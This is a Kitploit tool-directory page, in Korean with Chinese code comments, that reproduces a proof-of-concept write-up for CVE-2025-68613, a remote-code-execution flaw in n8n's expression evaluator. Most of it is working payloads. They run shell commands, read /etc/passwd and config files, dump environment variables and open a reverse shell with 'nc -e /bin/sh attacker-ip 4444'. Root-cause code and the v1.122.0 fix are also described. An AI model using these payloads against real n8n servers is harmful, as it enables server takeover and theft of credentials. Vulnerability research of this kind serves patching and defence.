Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-68613-poc-via-copilot — # CVE-2025-68613 상세 기술 분석 및 개념 증명 n8n 표현식 평가에서 IIFE this-컨텍스트 우회를 통한 치명적인 RCE 취약점에 대한 상세 기술 분석 및 개념 증명입니다. 근본 원인 분석, 익스플로잇 벡터, 완화 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

# CVE-2025-68613 상세 기술 분석 및 개념 증명 n8n 표현식 평가에서 IIFE this-컨텍스트 우회를 통한 치명적인 RCE 취약점에 대한 상세 기술 분석 및 개념 증명입니다. 근본 원인 분석, 익스플로잇 벡터, 완화 지침을 포함합니다.

저장소 보기
119개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

✅ CVE-2025-68613 n8n 표현식 주입 RCE 취약점 완전 분석

날짜: 2024년 12월 23일 상태: ✅ RCE 완전 검증 성공 CVSS 점수: 10.0 (치명적)


🎉 성공적인 RCE 페이로드

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

실행 결과: 시스템 사용자 정보 반환 성공(예: uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 취약점 원리 심층 분석

핵심 취약점: 즉시 실행 함수(IIFE)의 this 컨텍스트가 Sanitize되지 않음

1. 표현식 평가 프로세스

사용자 입력
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
data 컨텍스트 객체 생성
  ↓
data.process = 실제 process 객체 참조
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ 핵심: this = data
  ↓
즉시 실행 함수 실행
  ↓
this.process.mainModule.require ← ⚠️ 실제 require 접근
  ↓
child_process 모듈 로드
  ↓
execSync('id') ← 🔥 완전한 RCE!

2. 핵심 코드 위치

위치 1: 데이터 컨텍스트 생성

파일: packages/workflow/src/expression.ts 함수: Expression.resolveSimpleParameterValue() 라인: 약 230-290

// 生成数据代理
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ 漏洞点 1: 添加 process 对象到 data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ 问题: 虽然这里只暴露了部分属性,但传递的是对象引用
// 实际的 process 对象仍然可以通过原型链或其他方式访问
위치 2: Tournament 평가

파일: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ 漏洞点 2: 将 data 作为 this 传递
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ 漏洞点 3: 使用 new Function 创建函数
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
위치 3: 누락된 this Sanitization

파일: packages/workflow/src/expression-sandboxing.ts

v1.122.0 이전:

// ❌ 没有 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← 空数组,没有 this sanitization
	after: [PrototypeSanitizer, DollarSignValidator],
});

v1.122.0 이후:

// ✅ 添加了 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← 新增的 hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// FunctionThisSanitizer 实现
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// 重写所有函数表达式,显式绑定 this 到安全对象
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// 将 function() { ... } 改写为 function() { ... }.bind({ process: {} })
		}
	});
};
위치 4: 불완전한 속성 블랙리스트

파일: packages/workflow/src/utils.ts 함수: isSafeObjectProperty()

v1.122.0 이전:

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ 缺少 mainModule, binding, _load

v1.122.0 이후:

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ 新增
	'binding',       // ✅ 新增
	'_load'          // ✅ 新增
]);

💣 전체 악용 기법

1. 기본 RCE

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. 임의 명령 실행

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. 파일 시스템 접근

// 读取敏感文件
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// 列出目录
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// 读取 n8n 配置
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// 列出当前目录
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. 환경 변수 완전 유출 (이전 발견사항 결합)

// 通过 this.process 直接访问
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// 或使用已知可用的方式
{
	{
		JSON.stringify(process.env)
	}
}

5. 네트워크 접근 (리버스 셸 준비)

// 检查网络工具
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// 获取网络接口
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// 反弹 Shell (⚠️ 危险!仅用于授权测试)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 취약점 검증 결과 요약

✅ 확인된 악용 가능한 공격 벡터

#공격 유형페이로드상태CVSS
1환경 변수 유출{{ Object.keys(process.env) }}✅ 성공8.5
2Constructor 우회{{ [][constructor] }}✅ 성공8.0
3Function 생성자{{ [][constructor][constructor] }}✅ 성공8.5
4코드 실행{{ [][constructor][constructor]('return 1+1')() }}✅ 성공9.0
5완전한 RCE{{ (function() { this.process.mainModule.require... })() }}✅ 성공10.0

❌ 차단된 공격 (테스트에서)

#공격 유형원인
1직접 require새 스코프에서 사용 불가
2Function 생성자의 processthis가 일부 컨텍스트에서 sanitize됨
3process.binding / process._load차단 또는 제한되었을 수 있음

🎯 세 가지 핵심 취약점의 시너지 효과

취약점 1: 환경 변수가 보호되지 않음

{
	{
		Object.keys(process.env)
	}
}  // ✅ 成功
  • N8N_BLOCK_ENV_ACCESS_IN_NODE가 true로 설정되지 않음
  • 모든 환경 변수 읽기 가능

취약점 2: Constructor 접근 우회

{
	{
		[][`constructor`][`constructor`]
	}
}  // ✅ 成功
  • 백틱 템플릿 문자열이 AST 검사를 우회
  • Function 생성자 생성 가능

취약점 3: IIFE의 this가 Sanitize되지 않음

{
	{
		(function () {
			return this.process.mainModule.require;
		})()
	}
}  // ✅ 成功
  • 즉시 실행 함수의 this가 여전히 원본 데이터 컨텍스트를 가리킴
  • this.process.mainModule.require 접근 가능

세 가지 결합 = 완전한 RCE!


🛡️ v1.122.0의 수정 조치

수정 1: FunctionThisSanitizer Hook

도구 다운로드